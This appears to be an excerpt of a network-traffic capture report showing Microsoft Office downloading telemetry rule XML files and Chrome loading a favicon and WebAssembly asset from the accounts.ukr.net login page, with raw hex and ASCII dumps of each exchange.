2024-10-26 11:49:09 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49789	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:09 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:09 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4755be7f-e01e-0052-062b-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114909Z-16849878b785jrf8dn0d2rczaw000000034g000000007ng4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:09 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49787	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:09 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7aa3dd97-101e-005a-6a20-26882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114909Z-r197bdfb6b46kdskt78qagqq1c00000001z0000000009uv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49788	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:09 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:09 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e1deb6d3-201e-006e-700b-22bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114909Z-16849878b78j5kdg3dndgqw0vg00000003tg000000000nhd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:09 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49793	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:10 UTC	745	OUT	GET /login/favicon.ico HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:10 UTC	334	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:10 GMT Content-Type: image/x-icon Content-Length: 1150 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-47e" Expires: Sat, 09 Nov 2024 11:49:10 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.37:5080
2024-10-26 11:49:10 UTC	1150	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f ce a1 ab 4e ce a1 fe 4c cb 9e ff 4b ca 9d ff 4a c8 9c ff 48 c6 99 ff 47 c5 98 ff 45 c3 96 ff 44 c2 95 ff 42 c0 93 ff 41 be 92 ff 3f bc 8f ff 3d bb 8e ff 3d ba 8d ff 3b b9 8c fe 38 b7 89 aa 4e ce a1 fe 4f cd a1 ff 4d cc 9f ff 4c ca 9d ff 4b c9 9c ff 49 c7 9a ff 48 c6 99 ff 45 c4 97 ff 44 c2 96 ff 43 c1 94 ff 41 bf 92 ff 40 be 91 ff 3e bc 8f ff 3d ba 8d ff 3b b8 8b ff 3a b8 8b fe 4d c9 9d ff 4e cd a0 ff 4e cd a0 ff 4d cb 9f ff 4b c9 9c ff 4a c8 9b ff 48 c6 99 ff 47 c5 98 ff 45 c3 96 ff 43 c1 94 ff 42 c0 93 ff 41 be 92 ff 3f bc 8f ff 3e bb 8e ff 3c ba 8d ff 34 b4 87 ff 46 Data Ascii: h( ONLKJHGEDBA?==;8NOMLKIHEDCA@>=;:MNNMKJHGECBA?><4F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49794	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:10 UTC	490	OUT	GET /login/assets/assembly-vn6BflkY.wasm HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
2024-10-26 11:49:10 UTC	342	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:10 GMT Content-Type: application/wasm Content-Length: 165703 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-28747" Expires: Sat, 09 Nov 2024 11:49:10 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.37:5080
2024-10-26 11:49:10 UTC	16042	IN	Data Raw: 00 61 73 6d 01 00 00 00 01 aa 01 18 60 06 7f 7f 7f 7f 7f 7f 00 60 01 7f 00 60 03 7f 7f 7f 00 60 02 7f 7f 00 60 03 7f 7f 7f 01 7f 60 00 00 60 04 7f 7f 7f 7f 00 60 05 7f 7f 7f 7f 7f 00 60 06 7f 7f 7f 7f 7f 7f 01 7f 60 01 7f 01 7f 60 00 01 7f 60 01 7e 01 7e 60 02 7f 7f 01 7f 60 02 7f 7f 01 7f 60 02 7f 7e 01 7f 60 04 7f 7f 7f 7f 01 7f 60 05 7f 7f 7f 7f 7f 01 7f 60 03 7e 7f 7f 01 7f 60 02 7e 7f 01 7f 60 06 7f 7c 7f 7f 7f 7f 01 7f 60 02 7c 7f 01 7c 60 08 7f 7f 7f 7f 7f 7f 7f 7f 00 60 07 7f 7f 7f 7f 7f 7f 7f 00 60 07 7f 7f 7f 7f 7f 7f 7f 01 7f 02 d1 05 20 03 65 6e 76 0e 44 59 4e 41 4d 49 43 54 4f 50 5f 50 54 52 03 7f 00 03 65 6e 76 08 53 54 41 43 4b 54 4f 50 03 7f 00 03 65 6e 76 09 53 54 41 43 4b 5f 4d 41 58 03 7f 00 03 65 6e 76 05 61 62 6f 72 74 00 01 03 65 6e Data Ascii: asm````````````~~```~```~`~`\|`\|\|``` envDYNAMICTOP_PTRenvSTACKTOPenvSTACK_MAXenvaborten
2024-10-26 11:49:10 UTC	16384	IN	Data Raw: 04 41 28 6c 6a 41 02 10 39 20 05 28 02 00 41 01 6a 05 41 01 0b 21 00 20 03 41 00 36 02 00 20 05 20 00 36 02 00 0b f5 05 02 09 7f 01 7e 23 06 21 09 23 06 41 e0 0a 6a 24 06 20 00 28 02 74 04 40 20 09 24 06 0f 0b 20 09 21 05 20 09 41 f8 01 6a 21 0a 20 09 41 e0 01 6a 21 08 20 02 41 02 47 ad 21 0c 20 02 04 40 20 05 20 00 28 02 60 41 ff 9f 0b 6a 41 80 a0 0b 6e 22 03 36 02 00 20 00 41 e4 00 6a 21 0b 41 00 21 02 41 00 21 06 03 40 20 03 41 01 4b 04 40 03 40 20 05 20 02 41 01 6a 22 02 41 02 74 6a 20 0c a7 41 01 71 20 03 6a 22 04 41 01 76 22 03 36 02 00 20 0c 42 01 86 42 01 84 21 0c 20 04 41 03 4b 0d 00 0b 0b 20 0b 28 02 00 20 06 41 14 6c 6a 21 03 20 02 41 00 4a 22 04 20 0c 42 01 83 42 00 51 71 04 40 03 40 20 00 10 4f 20 00 20 0a 20 02 41 14 6c 6a 41 14 10 50 20 00 Data Ascii: A(ljA9 (AjA! A6 6~#!#Aj$ (t@ $ ! Aj! Aj! AG! @ (`AjAn"6 Aj!A!A!@ AK@@ Aj"Atj Aq j"Av"6 BB! AK ( Alj! AJ" BBQq@@ O AljAP
2024-10-26 11:49:10 UTC	16384	IN	Data Raw: 20 02 6a 22 03 20 01 41 7f 73 72 20 02 73 6a 22 04 41 0a 74 20 04 41 16 76 72 20 03 6a 22 04 6a 20 08 41 82 fd cd ba 7f 6a 20 03 6a 20 15 41 a1 a3 a0 f0 04 6a 20 02 6a 20 0e 41 94 86 85 98 7a 6a 20 01 6a 20 04 20 02 41 7f 73 72 20 03 73 6a 22 01 41 0f 74 20 01 41 11 76 72 20 04 6a 22 01 20 03 41 7f 73 72 20 04 73 6a 22 02 41 15 74 20 02 41 0b 76 72 20 01 6a 22 02 20 04 41 7f 73 72 20 01 73 6a 22 03 41 06 74 20 03 41 1a 76 72 20 02 6a 22 03 20 01 41 7f 73 72 20 02 73 6a 22 04 41 0a 74 20 04 41 16 76 72 20 03 6a 21 04 20 12 41 91 a7 9b dc 7e 6a 20 02 6a 20 0b 41 bb a5 df d6 02 6a 20 01 6a 20 04 20 02 41 7f 73 72 20 03 73 6a 22 01 41 0f 74 20 01 41 11 76 72 20 04 6a 22 01 20 03 41 7f 73 72 20 04 73 6a 21 02 20 00 20 03 20 19 6a 36 02 00 20 18 20 01 20 18 28 Data Ascii: j" Asr sj"At Avr j"j Aj j Aj j Azj j Asr sj"At Avr j" Asr sj"At Avr j" Asr sj"At Avr j" Asr sj"At Avr j! A~j j Aj j Asr sj"At Avr j" Asr sj! j6 (
2024-10-26 11:49:10 UTC	16384	IN	Data Raw: 20 02 2c 00 00 41 06 72 3a 00 00 20 04 20 03 41 7f 6a 6a 22 02 20 02 2c 00 00 41 80 7f 72 3a 00 00 20 00 20 04 20 03 10 62 20 05 41 80 80 80 80 78 36 02 00 0b 20 01 45 04 40 0f 0b 20 01 20 00 41 e4 00 20 03 41 01 76 6b 10 d3 01 1a 0b a3 02 02 05 7f 01 7e 20 00 41 c0 00 6a 22 04 29 03 00 22 08 a7 41 3f 71 21 03 20 04 20 08 20 02 ad 7c 37 03 00 20 03 04 40 20 00 20 03 6a 20 01 41 c0 00 20 03 6b 22 03 20 02 4b 22 04 04 7f 20 02 05 20 03 0b 10 d3 01 1a 20 04 04 40 0f 05 20 00 41 c8 00 6a 20 00 10 65 20 01 20 03 6a 21 01 20 02 20 03 6b 21 02 0b 0b 20 02 41 3f 4b 04 40 20 00 41 c8 00 6a 21 05 20 01 20 02 41 40 6a 22 06 41 40 71 22 07 41 c0 00 6a 6a 21 04 03 40 20 05 20 01 41 03 71 04 7f 20 00 20 01 29 00 00 37 00 00 20 00 20 01 29 00 08 37 00 08 20 00 20 01 29 Data Ascii: ,Ar: Ajj" ,Ar: b Ax6 E@ A Avk~ Aj")"A?q! \|7 @ j A k" K" @ Aj e j! k! A?K@ Aj! A@j"A@q"Ajj!@ Aq )7 )7 )
2024-10-26 11:49:10 UTC	16384	IN	Data Raw: 05 6a 20 03 6a 20 11 41 11 74 20 11 41 0f 76 72 22 05 20 02 73 20 08 73 6a 20 0a 41 08 74 20 0a 41 18 76 72 6a 21 03 20 16 41 99 f3 89 d4 05 6a 20 02 6a 20 08 41 11 74 20 08 41 0f 76 72 22 02 20 05 73 20 0a 73 6a 20 03 41 0e 74 20 03 41 12 76 72 6a 21 08 20 21 41 99 f3 89 d4 05 6a 20 05 6a 20 0a 41 11 74 20 0a 41 0f 76 72 22 05 20 02 73 20 03 73 6a 20 08 41 07 74 20 08 41 19 76 72 6a 21 0a 20 24 41 99 f3 89 d4 05 6a 20 02 6a 20 03 41 11 74 20 03 41 0f 76 72 22 02 20 05 73 20 08 73 6a 20 0a 41 0c 74 20 0a 41 14 76 72 6a 21 03 20 0e 28 02 00 41 99 f3 89 d4 05 6a 20 05 6a 20 08 41 11 74 20 08 41 0f 76 72 22 05 20 02 73 20 0a 73 6a 20 03 41 09 74 20 03 41 17 76 72 6a 21 0e 20 27 41 99 f3 89 d4 05 6a 20 02 6a 20 0a 41 11 74 20 0a 41 0f 76 72 22 02 20 05 73 20 Data Ascii: j j At Avr" s sj At Avrj! Aj j At Avr" s sj At Avrj! !Aj j At Avr" s sj At Avrj! $Aj j At Avr" s sj At Avrj! (Aj j At Avr" s sj At Avrj! 'Aj j At Avr" s
2024-10-26 11:49:10 UTC	16384	IN	Data Raw: 20 01 41 7f 47 20 02 41 7f 47 71 71 21 05 20 02 20 01 6b 22 02 20 00 41 28 6a 4b 22 04 04 40 20 02 21 03 0b 20 01 41 7f 46 20 04 41 01 73 72 20 05 41 01 73 72 45 0d 01 0b 0c 01 0b 41 f8 d5 03 41 f8 d5 03 28 02 00 20 03 6a 22 02 36 02 00 20 02 41 fc d5 03 28 02 00 4b 04 40 41 fc d5 03 20 02 36 02 00 0b 02 40 41 e0 d2 03 28 02 00 22 04 04 40 41 88 d6 03 21 02 02 40 02 40 03 40 20 01 20 02 28 02 00 22 05 20 02 41 04 6a 22 07 28 02 00 22 06 6a 46 0d 01 20 02 28 02 08 22 02 0d 00 0b 0c 01 0b 20 02 28 02 0c 41 08 71 45 04 40 20 04 20 01 49 20 04 20 05 4f 71 04 40 20 07 20 06 20 03 6a 36 02 00 41 d4 d2 03 28 02 00 21 05 41 00 20 04 41 08 6a 22 02 6b 41 07 71 21 01 41 e0 d2 03 20 04 20 02 41 07 71 04 7f 20 01 05 41 00 22 01 0b 6a 22 02 36 02 00 41 d4 d2 03 20 05 Data Ascii: AG AGqq! k" A(jK"@ ! AF Asr AsrEAA( j"6 A(K@A 6@A("@A!@@@ (" Aj"("jF (" (AqE@ I Oq@ j6A(!A Aj"kAq!A Aq A"j"6A
2024-10-26 11:49:11 UTC	16384	IN	Data Raw: 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 02 Data Ascii:
2024-10-26 11:49:11 UTC	16384	IN	Data Raw: b6 9f 7e ea 68 5e cd c7 b1 83 94 19 90 1c b0 6c 37 95 c2 d5 3c e9 3d 13 ad b9 2a df 2e d5 ae 84 78 a0 c0 12 f5 60 2e c9 10 62 e3 a3 86 3d bc ce 51 39 16 9b 9d 26 35 fa b5 cd d0 2a 6e 7d 0c 33 57 7f d8 97 62 e8 59 e7 b0 8d 89 21 f2 8e 29 7e aa a5 d1 29 00 00 55 45 1b 06 b5 e1 8a c0 8b 3a 70 92 6c 2b 1c c3 c2 42 ef 25 af 6b 59 cc 94 56 04 54 22 db 73 1d 0a 9a 17 c4 d9 f9 a0 b6 04 60 3c 3d ae a2 af fd ef c4 96 94 b4 5b 07 c8 f7 e3 d4 1c 1d 14 c7 c5 9c 34 55 8e 21 38 16 bd 78 6a 24 50 f8 68 15 f1 b2 29 bc 02 95 fa bc fa ed 1b 05 23 da f2 e5 6c 79 7c 53 93 dc b0 28 e1 aa ae 29 4b ee a0 3d 49 3a d7 95 68 41 2c 6b df b5 37 7f 2d 12 25 bd ab fc b1 c4 5d 10 58 0b 81 70 90 2a 88 f7 37 dd 0f e1 5c 3f 8a 51 b5 ca 4d 52 5b 25 51 84 87 85 9e 3c e2 34 bd 19 81 82 29 40 Data Ascii: ~h^l7<=.x`.b=Q9&5n}3WbY!)~)UE:pl+B%kYVT"s`<=[4U!8xj$Ph)#ly\|S()K=I:hA,k7-%]Xp*7\?QMR[%Q<4)@
2024-10-26 11:49:11 UTC	16384	IN	Data Raw: 9c 08 25 d6 94 9c 4a 1e 1e ee 3c 66 f0 1e 78 43 43 61 86 52 22 43 11 c7 c7 b1 93 fc 76 c7 3b fc fc 4f e5 2b b3 fc d7 04 04 24 08 14 20 04 10 51 51 e3 a2 08 b2 51 59 99 99 25 2f c7 bc 99 5e 6d 6d 22 da c4 4f 6d a9 0d 0d 65 1a 39 68 0d 34 fa fa 79 e9 35 83 fa cf df df 69 a3 84 b6 df 5b 7e 7e a9 fc 9b d7 7e e5 24 24 19 48 b4 3d 24 90 3b 3b fe 76 d7 c5 3b ec ab ab 9a 4b 3d 31 ab 96 ce ce f0 81 d1 3e ce 1f 11 11 99 22 55 88 11 44 8f 8f 83 03 89 0c 8f 06 4e 4e 04 9c 6b 4a 4e 25 b7 b7 66 73 51 d1 b7 e6 eb eb e0 cb 60 0b eb 8b 3c 3c c1 78 cc fd 3c f0 81 81 fd 1f bf 7c 81 3e 94 94 40 35 fe d4 94 6a f7 f7 1c f3 0c eb f7 fb b9 b9 18 6f 67 a1 b9 de 13 13 8b 26 5f 98 13 4c 2c 2c 51 58 9c 7d 2c b0 d3 d3 05 bb b8 d6 d3 6b e7 e7 8c d3 5c 6b e7 bb 6e 6e 39 dc cb 57 6e a5 Data Ascii: %J<fxCCaR"Cv;O+$ QQQY%/^mm"Ome9h4y5i[~~~$$H=$;;v;K=1>"UDNNkJN%fsQ`<<x<\|>@5jog&_L,,QX},k\knn9Wn
2024-10-26 11:49:11 UTC	16384	IN	Data Raw: 52 12 80 0a fc f0 5b 11 56 d8 d7 3c 9d 5f 3f b4 16 65 30 c2 47 1c 23 a1 7e 20 49 f1 95 a7 09 52 d8 cc b3 34 54 fe ae 67 4e 92 83 2c ac cb 62 66 61 d1 ed 5e aa 81 e6 84 6b d2 57 5d c4 5c 46 fa a8 c3 3a 7e c6 0c 7c bf a1 9a 8a e1 6f 0a 2f c3 0d c0 2c b2 69 03 28 3d 4f 55 4e 99 d3 80 f4 68 e6 f5 cf ad 65 b2 8e 3a 31 98 26 83 09 8a 56 bd 6a ae c8 4b 2b 6d f5 69 c8 ea 17 0f c7 b6 2e 77 3c 34 41 9f 42 07 1d ab 50 6f 6a 82 7c 09 a2 fe 83 c2 12 19 99 58 18 ce 39 48 44 e4 d5 35 86 2d ff b1 d0 65 17 7f 5a 86 b1 9f 6d 32 20 28 e5 59 e1 ad 90 00 49 71 3c 75 98 8b dd 9d da 91 a6 a5 bb 82 03 0d 30 c9 04 89 00 b0 6c 08 bd d3 69 6e a7 e7 d4 24 d0 4f 24 05 0c 5e 1a 10 cb 7d 94 6a 7b f7 40 e8 03 50 0c 7d 1f 0f 37 7c ed 45 52 80 3f 3d 5e e0 0e 88 06 79 35 cd bf ba 97 c6 7e Data Ascii: R[V<_?e0G#~ IR4TgN,bfa^kW]\F:~\|o/,i(=OUNhe:1&VjK+mi.w<4ABPoj\|X9HD5-eZm2 (YIq<u0lin$O$^}j{@P}7\|ER?=^y5~

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49797	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:10 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:10 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:10 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 8384fc49-f01e-00aa-06d4-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114910Z-r197bdfb6b4c8q4qvwwy2byzsw000000029g0000000007ch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:10 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49799	13.107.246.60	443

